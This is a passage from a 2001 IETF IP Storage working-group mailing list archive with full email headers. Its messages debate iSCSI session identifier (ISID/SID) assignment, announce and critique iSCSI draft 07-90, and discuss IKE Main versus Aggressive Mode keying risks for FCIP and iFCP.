that we can have this > assignment of ISID by the Target System. (It is kind of > acting like a third > party ISID assigner.) The rest of the documentation should > be the same. > The issue of Option A or B is still with us. However, the issue of the > Rouge Initiator, that can not find its approprate ISID is > solved. (Don't > you just love the emotive way I put that.) Also the > assignment of ISIDs is > made easier for some implementations. (However, the approach > suggested by > Jim Hafner seems simple enough.) > > Now the discussion should be, did I miss something important, > and is the > change worth it > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > From owner-ips@ece.cmu.edu Sat Sep 8 10:24:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA26207 for ; Sat, 8 Sep 2001 10:24:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f88CejQ14311 for ips-outgoing; Sat, 8 Sep 2001 08:40:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f88CebP14304 for ; Sat, 8 Sep 2001 08:40:42 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id OAA12684 for ; Sat, 8 Sep 2001 14:40:29 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f88CeU3221112 for ; Sat, 8 Sep 2001 14:40:30 +0200 Importance: Normal Subject: iSCSI-countdown to new version To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 8 Sep 2001 15:39:45 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 08/09/2001 15:40:29 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Dear colleagues,, I have posted 07-90.txt and 07-90.pdf on my site (http://www.haifa.il.ibm/satran/ips). The pdf file has "bar-marked" the changes (in addition to the change log). The pdf file is produced with Acrobat 5.0 The files are a accumulative versions of the changes I've posted earlier plus editorials. It has also an Alias appendix. Aliases (that where here up to very early version) are now handled by T10 in the SCSI documents but the protocol documents are required to carry their specific formats. Julo From owner-ips@ece.cmu.edu Sat Sep 8 16:22:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29275 for ; Sat, 8 Sep 2001 16:22:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f88Icjg00671 for ips-outgoing; Sat, 8 Sep 2001 14:38:45 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f88IcgP00662 for ; Sat, 8 Sep 2001 14:38:42 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id UAA06090 for ; Sat, 8 Sep 2001 20:38:35 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f88IcYJ161918 for ; Sat, 8 Sep 2001 20:38:34 +0200 Importance: Normal Subject: Re: iSCSI-countdown to new version To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sat, 8 Sep 2001 21:37:49 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 08/09/2001 21:38:34 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Sorry - I always get wrong this URL :-) Julo "Michael J. S. Smith (PacBell)" on 08-09-2001 19:41:07 Please respond to "Michael J. S. Smith (PacBell)" To: Julian Satran/Haifa/IBM@IBMIL cc: "Michael J. S. Smith (iReady)" Subject: Re: iSCSI-countdown to new version Julo: Before you get flooded. That would be http://www.haifa.il.ibm.com/satran/ips also, http://www.haifa.il.ibm.com/satran/ips/iscsi_states-rev08.pdf seems broken. Thanks for the early post of the next revision. Michael Smith iReady ----- Original Message ----- From: "Julian Satran" To: Sent: Saturday, September 08, 2001 5:39 AM Subject: iSCSI-countdown to new version > Dear colleagues,, > > I have posted 07-90.txt and 07-90.pdf on my site > (http://www.haifa.il.ibm/satran/ips). > The pdf file has "bar-marked" the changes (in addition to the change log). > > The pdf file is produced with Acrobat 5.0 > > The files are a accumulative versions of the changes I've posted earlier > plus editorials. > It has also an Alias appendix. > > Aliases (that where here up to very early version) are now handled by T10 > in the SCSI documents but the > protocol documents are required to carry their specific formats. > > > Julo > > From owner-ips@ece.cmu.edu Sat Sep 8 16:24:18 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA29295 for ; Sat, 8 Sep 2001 16:24:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f88Is0W01374 for ips-outgoing; Sat, 8 Sep 2001 14:54:00 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f88IrwP01369 for ; Sat, 8 Sep 2001 14:53:58 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNJKV; Sat, 8 Sep 2001 14:53:52 -0400 Reply-To: From: "Eddy Quicksall" To: Subject: RE: iSCSI-countdown to new version Date: Sat, 8 Sep 2001 14:53:31 -0400 Message-ID: <000001c13897$902b0480$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I think there is a ".com" missing. Try this: http://www.haifa.il.ibm.com/satran/ips/ -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Saturday, September 08, 2001 8:40 AM To: ips@ece.cmu.edu Subject: iSCSI-countdown to new version Dear colleagues,, I have posted 07-90.txt and 07-90.pdf on my site (http://www.haifa.il.ibm/satran/ips). The pdf file has "bar-marked" the changes (in addition to the change log). The pdf file is produced with Acrobat 5.0 The files are a accumulative versions of the changes I've posted earlier plus editorials. It has also an Alias appendix. Aliases (that where here up to very early version) are now handled by T10 in the SCSI documents but the protocol documents are required to carry their specific formats. Julo From owner-ips@ece.cmu.edu Sat Sep 8 20:45:57 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA01391 for ; Sat, 8 Sep 2001 20:45:57 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f88MpxW11946 for ips-outgoing; Sat, 8 Sep 2001 18:51:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from med.corp.rhapsodynetworks.com (64-160-62-201.rhapsodynetworks.com [64.160.62.201] (may be forged)) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f88MgbP11466 for ; Sat, 8 Sep 2001 18:42:39 -0400 (EDT) Received: by med.corp.rhapsodynetworks.com with Internet Mail Service (5.5.2653.19) id ; Sat, 8 Sep 2001 15:42:13 -0700 Message-ID: <45BEF1D68145D51186C100B0D0AABE6503D702@med.corp.rhapsodynetworks.com> From: Venkat Rangan To: "'Black_David@emc.com'" , travos@nortelnetworks.com, ips@ece.cmu.edu Subject: RE: FCIP and iFCP Keying Problem Date: Sat, 8 Sep 2001 15:42:13 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C138B7.80B2D9E0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C138B7.80B2D9E0 Content-Type: text/plain; charset="iso-8859-1" Although the issue of revealing identity is not significant (which means Aggressive Mode + pre-shared) keys is okay for an FCIP tunnel implementation, the question is whether many current IPsec gateways support Aggressive Mode. It only carries a "SHOULD implement" mandate in RFC2409. It would appear that the issues of DHCP assigned addresses and its usability in conjunction with Main Mode + pre-shared keys would be more severe in l2tp/vpn solutions, and this would force gateways to implement Aggressive Mode; but can we depend on its availability. As Franco states for iFCP, it is not clear that FCIP endpoint addresses will be handed out using DHCP. In fact, some of this will be made available using SLPv2 DAs and SAs, so they are fairly static. (This opens up the issue of SLPv2 itself having to be performed after IKE Phase-1 is done.) Would the problem be less severe if the FCIP Endpoint WWN is sent as IKE payload in conjunction with Main-mode+pre-shared key? Is it also not the case that Aggressive Mode with public key encryption still prevents identities being revealed? Venkat Rangan Rhapsody Networks Inc. http://www.rhapsodynetworks.com -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Friday, September 07, 2001 4:08 PM To: travos@nortelnetworks.com; ips@ece.cmu.edu Subject: RE: FCIP and iFCP Keying Problem > I realize that in the (main mode, pre-shared key) variant > the endpoints' identities can only be IP addresses due to > a chicken-and-egg problem (and rfc2409 confirms this). > I also realize that this variant is useless in the presence > of DHCP-assigned IP addresses (which is not our case, as > we only work with static IP addresses). I'm not sure I believe the parenthetical comment about only working with static IP addresses. I suspect a "MUST NOT use DHCP-assigned IP addresses" restriction wouldn't make it through the IESG. > A DH is obviously vulnerable to a MIM attack, but a > DH + pre-shared key intuitively shouldn't. Suppose the MIM is part of the group that has the pre-shared key. The MIM attack on DH is once again possible. > And I don't think we worry about identities being revealed. I agree, otherwise I wouldn't be suggesting Aggressive Mode (which reveals identities) as a MUST. --David -----Original Message----- From: Franco Travostino [mailto:travos@nortelnetworks.com] Sent: Friday, September 07, 2001 7:15 PM To: Black_David@emc.com; ips@ece.cmu.edu Subject: Re: FCIP and iFCP Keying Problem Both FCIP and iFCP intend to require: - IKE with pre-shared keys MUST implement - IKE with public-key based keys MAY implement - IKE Main Mode MUST implement - IKE Aggressive Mode MAY implement That's not acceptable because the result of combining the two mandatory (MUST) mechanisms is vulnerable to a man-in-the-middle attack. Clarification: I realize that in the (main mode, pre-shared key) variant the endpoints' identities can only be IP addresses due to a chicken-and-egg problem (and rfc2409 confirms this). I also realize that this variant is useless in the presence of DHCP-assigned IP addresses (which is not our case, as we only work with static IP addresses). A DH is obviously vulnerable to a MIM attack, but a DH + pre-shared key intuitively shouldn't. And I don't think we worry about identities being revealed. What am I missing? (rfc2409 has single-handedly neutralized the few brain cells that I've left). -franco Franco Travostino, Director Content Internetworking Lab Advanced Technology Investments Nortel Networks, Inc. 600 Technology Park Billerica, MA 01821 USA Tel: 978 288 7708 Fax: 978 288 4690 email: travos@nortelnetworks.com ------_=_NextPart_001_01C138B7.80B2D9E0 Content-Type: text/html; charset="iso-8859-1"
Although the issue of revealing identity is not significant (which means Aggressive Mode + pre-shared) keys is okay for an FCIP tunnel implementation, the question is whether many current IPsec gateways support Aggressive Mode. It only carries a "SHOULD implement" mandate in RFC2409. It would appear that the issues of DHCP assigned addresses and its usability in conjunction with Main Mode + pre-shared keys would be more severe in l2tp/vpn solutions, and this would force gateways to implement Aggressive Mode; but can we depend on its availability.
 
As Franco states for iFCP, it is not clear that FCIP endpoint addresses will be handed out using DHCP. In fact, some of this will be made available using SLPv2 DAs and SAs, so they are fairly static. (This opens up the issue of SLPv2 itself having to be performed after IKE Phase-1 is done.)
 
Would the problem be less severe if the FCIP Endpoint WWN is sent as IKE payload in conjunction with Main-mode+pre-shared key?
 
Is it also not the case that Aggressive Mode with public key encryption still prevents identities being revealed?
 
Venkat Rangan
Rhapsody Networks Inc.
http://www.rhapsodynetworks.com
 

 -----Original Message-----
From: Black_David@emc.com [mailto:Black_David@emc.com]
Sent: Friday, September 07, 2001 4:08 PM
To: travos@nortelnetworks.com; ips@ece.cmu.edu
Subject: RE: FCIP and iFCP Keying Problem

> I realize that in the (main mode, pre-shared key) variant
> the endpoints' identities can only be IP addresses due to
> a chicken-and-egg problem (and rfc2409 confirms this).
> I also realize that this variant is useless in the presence
> of DHCP-assigned IP addresses (which is not our case, as
> we only work with static IP addresses).
 
I'm not sure I believe the parenthetical comment about only
working with static IP addresses.  I suspect a "MUST NOT use
DHCP-assigned IP addresses" restriction wouldn't make it
through the IESG.
 
> A DH is obviously vulnerable to a MIM attack, but a
> DH + pre-shared key intuitively shouldn't.
 
Suppose the MIM is part of the group that has the pre-shared key.
The MIM attack on DH is once again possible.
 
> And I don't think we worry about identities being revealed.
 
I agree, otherwise I wouldn't be suggesting Aggressive Mode
(which reveals identities) as a MUST.
 
--David
-----Original Message-----
From: Franco Travostino [mailto:travos@nortelnetworks.com]
Sent: Friday, September 07, 2001 7:15 PM
To: Black_David@emc.com; ips@ece.cmu.edu
Subject: Re: FCIP and iFCP Keying Problem


Both FCIP and iFCP intend to require:

        - IKE with pre-shared keys MUST implement
        - IKE with public-key based keys MAY implement
        - IKE Main Mode MUST implement
        - IKE Aggressive Mode MAY implement

That's not acceptable because the result of combining
the two mandatory (MUST) mechanisms is vulnerable to a
man-in-the-middle attack.

Clarification:

I realize that in the (main mode, pre-shared key) variant the endpoints' identities can only be IP addresses due to a chicken-and-egg problem (and rfc2409 confirms this). I also realize that this variant is useless in the presence of DHCP-assigned IP addresses (which is not our case, as we only work with static IP addresses). A DH is obviously vulnerable to a MIM attack, but a DH + pre-shared key intuitively shouldn't. And I don't think we worry about identities being revealed. What am I missing? (rfc2409 has single-handedly neutralized the few brain cells that I've left).

-franco


Franco Travostino, Director Content Internetworking Lab
Advanced Technology Investments
Nortel Networks, Inc.
600 Technology Park
Billerica, MA 01821 USA
Tel: 978 288 7708 Fax: 978 288 4690
email: travos@nortelnetworks.com

------_=_NextPart_001_01C138B7.80B2D9E0-- From owner-ips@ece.cmu.edu Sun Sep 9 14:32:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA12285 for ; Sun, 9 Sep 2001 14:32:31 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f89Go9l08149 for ips-outgoing; Sun, 9 Sep 2001 12:50:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f89Go3P08140 for ; Sun, 9 Sep 2001 12:50:04 -0400 (EDT) Received: from grubby.research.bell-labs.com ([135.104.2.9]) by dirty; Sun Sep 9 12:48:03 EDT 2001 Received: from aura.research.bell-labs.com ([135.104.46.10]) by grubby; Sun Sep 9 12:48:19 EDT 2001 Received: (from sandeepj@localhost) by aura.research.bell-labs.com (8.9.1/8.9.1) id MAA10708; Sun, 9 Sep 2001 12:47:44 -0400 (EDT) Date: Sun, 9 Sep 2001 12:47:44 -0400 (EDT) Message-Id: <200109091647.MAA10708@aura.research.bell-labs.com> From: sandeepj@research.bell-labs.com (Sandeep Joshi) To: Julian_Satran@il.ibm.com, ips@ece.cmu.edu Subject: RE: iSCSI:Target Centric ISID assignments Sender: owner-ips@ece.cmu.edu Precedence: bulk Agree with the extra responsibility added on the target. But one point here ..the target may not be monolithic but one assumes it would atleast be "monogenic" (single-vendor) thereby enabling it to disallow multiple nexuses being started with the same The monogenic property may not hold for initiators so a scheme which works without HBA cooperation is preferred over one which requires cooperation. The schemes presented by Jim in a previous email (a windows registry counter) still assume all HBAs follow that assignment model. The ISID namespace seems too small to partition among vendors. If it were possible to add a vendor-unique identifier to the login command/phase (and maybe nexus), we may solve the problem without burdening the target. -Sandeep > Blowing away or not is again with us. A careless guy will set always the > blow-away bit. > You have just moved the management responsibility to the target under the > assumption that the target > is "monolithic". But, as you well know, this is not true for many targets. > You have to have an allocation scheme at > target and a garbage collection. > > I suggest we give this to the ND team and let them debate for a while > before getting back to us. > We may want to have them look at all aspects of SSID allocation and use. > > Julo From owner-ips@ece.cmu.edu Sun Sep 9 22:10:34 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17932 for ; Sun, 9 Sep 2001 22:10:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8A0JK500298 for ips-outgoing; Sun, 9 Sep 2001 20:19:20 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8A0JDP00291 for ; Sun, 9 Sep 2001 20:19:18 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id CAA17900 for ; Mon, 10 Sep 2001 02:18:53 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8A0IrP190780 for ; Mon, 10 Sep 2001 02:18:53 +0200 Importance: Normal Subject: iSCSI - SID building To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sun, 9 Sep 2001 13:42:58 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 10/09/2001 03:18:52 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I am amazed by the amount of debate that is always generated by the selection of a unique identifier. It must be something deep in human nature. I would like to start this relatively long note (long by my standards) by stating than any change in the SID structure will have little impact on the iSCSI draft text and probably will affect implementations only in a very limited way. The SID is almost entirely hidden in the protocol and is used only to: signal that a new connection belongs to a SID through a part of it (or its entirety) to signal that the initiator wants to assume ownership on whatever persistent state was associated with it during a "previous life" The SID is the element that differentiates one session from another between a given pair (initiator and a target). In choosing how to generate a unique SID we had three choices: the initiator generates the SID the target generates the SID the initiator generates a part and the target generates a part The current draft is using option 3. Let us try and examine the pros and cons of all the options. In generating a unique identifier that has a limited life-span one has to consider two elements - the ease by which it is generated and how difficult it is to recycle it. A unique identifier is easy to generate if the generating element is unique ( a single HBA, a monolithic OS or application space) or its domain can be statically partitioned. If you consider iSCSI neither of those conditions is met by all the initiators and targets although the initiators are more likely to have a simpler structure (hardware and on average) than targets (we will more likely see simple initiators connect to complex targets than complex initiators connect to simple targets; by simple/complex I mean multi HBA). For identifier reuse you have to recall that SID (or part of it) are used by initiators to identify themselves to targets to reclaim "persistent rights" like reservations. As such initiators have all the information needed to reclaim an ID while targets must do some guesswork (complicated somewhat by the fact that some persistent rights are not explicitly bound). Initiators know if they want something related to the ID or not and if not it can be reclaimed. Note also that any "static" ID partitioning between target HBAs may be upset at "reconnect" time (I might have a SID allocated by HBA1 and reconnect with it later - to regain my reservations - to HBA2). Targets may register SID or parts of it to identify the owner of a persistent right but they don't need to do any reclaiming operations on rights (those are explicitly cleaned by SCSI commands). All the above rationale may suggest that the best place to generate a SID is the initiator. However initiators tend to be less reliable (an eufemism) than targets. To cope with this we have again 3 choices: (a)Extreme-attitude - any initiator that is less than perfect will not fit our world model and everything running on it will not work (b)Move the SID allocation to the target (c)Split the allocation into a safe part (the target assigned TID) and an unsafe part (the IID) but contain the harm to nonconforming parts of the initiator I view of all the above I think that the scheme we have today is a sound choice. If many of you feel that the choice is not good, or there are some other choices I suggest we return this item to the Naming&Discovery team (the SID is a dynamic extension of the name) for further consideration. Again protocol will not be affected in a major way by the result of this debate and neither will it solve the issue of bad initiator components (that triggered the whole debate). Julo From owner-ips@ece.cmu.edu Mon Sep 10 01:06:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA21135 for ; Mon, 10 Sep 2001 01:06:23 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8A3aIl08521 for ips-outgoing; Sun, 9 Sep 2001 23:36:18 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8A3aHP08517 for ; Sun, 9 Sep 2001 23:36:17 -0400 (EDT) Received: from ahganemw2k (sjc-vpn-tmp142.cisco.com [10.21.64.142]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with SMTP id XAA18851 for ; Sun, 9 Sep 2001 23:36:09 -0400 (EDT) From: "Ayman Ghanem" To: Subject: iSCSI: statSN during login Date: Sun, 9 Sep 2001 22:35:19 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, There is inconsistency on the use of statSN during login between sections 1.2.2.2: Status numbering starts after Login. During login, there is always only one outstanding command per connection and status numbering is not strictly needed but may be used as a sanity check. and section 2.13.4: For the first Login Response (the response to a Login Request with C=0) this is the starting status Sequence Number for the connection (the next response of any kind will carry this number + 1). This field is valid only if the Status Class is 0. The later indicates that statSN MUST be used during login phase. Since this is not really needed during login, I suggest changing the text so that statSN not to be used until the connection is in full feature phase (similar to cmdSN). -Ayman From owner-ips@ece.cmu.edu Mon Sep 10 03:36:35 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA06800 for ; Mon, 10 Sep 2001 03:36:35 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8A6AZb14482 for ips-outgoing; Mon, 10 Sep 2001 02:10:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cs.unh.edu (cs.unh.edu [132.177.4.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8A6AYP14478 for ; Mon, 10 Sep 2001 02:10:34 -0400 (EDT) Received: from lava.cs.unh.edu (lava.cs.unh.edu [132.177.4.30]) by cs.unh.edu (8.11.0/8.11.0) with ESMTP id f8A6AAW24522 for ; Mon, 10 Sep 2001 02:10:10 -0400 (EDT) Date: Mon, 10 Sep 2001 02:10:09 -0400 (EDT) From: Qin Tao To: ips@ece.cmu.edu Subject: draft 7-90 Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Hi, Julian: It is great to see iSCSI v07-90 out. Reading through the new draft, I found some inconsistencies, most of them are related with moving Text out of Login Phase. 1.in 1.2.3, last paragraph, it says: "Some text command parameters are also allowed only in full feature phase (e.g., SendTargets)." But in Appendix D, The "Use" of SendTargets key is defined as "All", which means it "can be used in both the login phase and full feature phase". 2.In 4.3, it says" The last response MUST be the Login Response". I don't see the necessary for this MUST since the Text response is out of Login Phase and all the responses in the Login Phase are Login responses. 3.The last paragraph of clause 5 is meaningless, which says" During Full Feature Phase Negotiations the CNxSG field MUST carry the values for FullFeaturePhase stage in both the current and next part." CNxSG is only used in Login Command & Response, not in Text anymore. The change log for draft-07 to draft-08, says "Added the CNxSG field to Text & Login Command & Response," also needs to be updated. 4.In the Appendix A, Login Phase Examples, there is no need to mention "Instead of the Login R= SecurityContextComplete=yes message" since SecurityContextComplete message is not used anymore. 5.Also in the Login Phase Examples, there is an error in the example for SPKM-1. The initiator offers " DataDigest=CRC-32C, none", but the target responses as "DataDigest=SPKM". 6.Clause 2.10.5,Text of Text Command, says "Some basic key=value pairs are described in Appendix A and Appendix D." It is better to mention Appendix D only since keys in Appendix A are security keys which are used in Login Phase only and not for Text Command. Qin From owner-ips@ece.cmu.edu Mon Sep 10 03:38:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA06825 for ; Mon, 10 Sep 2001 03:38:32 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8A6NTT14950 for ips-outgoing; Mon, 10 Sep 2001 02:23:29 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8A6NTP14946 for ; Mon, 10 Sep 2001 02:23:29 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 10 Sep 2001 02:23:22 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E015C2341@CORPMX14> From: Black_David@emc.com To: Julian_Satran@il.ibm.com, ips@ece.cmu.edu Subject: RE: iSCSI: ISIDs Date: Mon, 10 Sep 2001 02:16:39 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk One more whack at this ... > The major difference is "control". In the current scheme the initiator and > target could independently allocate and reuse their parts. > > The target allocates only scheme leaves this to the target (it has to do > garbage collection) under the assumption that the target (unlike the > initiator) has a central point of control. Yes, I'm assuming that targets will have a single vendor in charge of all the software on the target and making it work right if there are multiple HBAs; I don't see any corresponding vendor who's in a position to do the same for the initiator ... > Aren't targets going to have several HBA and have to carefully allocate > their SSIDs? But they'll have one vendor in charge of making this work. In contrast, for an initiator with HBAs from two different vendors, both of those vendors and the vendor of the OS platform have to be involved, and I don't see any of them taking full responsibility in the early going. I'm worried we risk heading the iSCSI Initiator Name down the same path as Fibre Channel, where the FC Node WWN was supposed to be associated with the server into which the HBAs were plugged, but got associated with the HBA because there was no way to coordinate across HBAs. If anything ever goes wrong with ISIDs (and things will), the fastest way to fix it will be to require each HBA to have its own iSCSI Initiator Name, independent of the intent of the iSCSI naming architecture. > In the event an initiator wants to rebuild a session does he have to > connect to the same HBA and thus a failover to another HBA > can't be done. No, this is controlled by portal groups. To failover across two HBAs on the target, they have to be in the same portal group, and the target is responsible for coordinating TSID usage within each portal group. If the target can't coordinate TSID usage, it puts the HBAs into different portal groups and gives up this failover ability as a consequence, and that's the case independent of whether ISIDs exist or not. > For all the above no to happen we have to add some management somewhere and > it looks to me that the current scheme is simpler than a target centric one > as it keeps the allocation and release of numbers at the same end. I'm sorry, that doesn't parse for me. It looks like the same sort of mechanism is being put into both initiators and targets for symmetry, without considering whether two instances of the mechanism are actually necessary. In a target-centric scheme, the target is doing the "allocation and release" of numbers. The target does have to be careful about not aggressively reusing TSID values, when there's potentially recoverable state around (or the initiators may think that there's state to be recovered even though the target's lost it all in a reboot), but recall that aggressive reuse of ISIDs is what created the Option A/B/C mess (and not aggressively reusing ISIDs would make that easier to solve). I don't understand how two instances of similar mechanisms is "simpler" than one. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Mon Sep 10 03:40:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA06846 for ; Mon, 10 Sep 2001 03:40:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8A6NdE14964 for ips-outgoing; Mon, 10 Sep 2001 02:23:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8A6NcP14960 for ; Mon, 10 Sep 2001 02:23:38 -0400 (EDT) Received: by maho3msx2.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Mon, 10 Sep 2001 02:23:32 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E015C2342@CORPMX14> From: 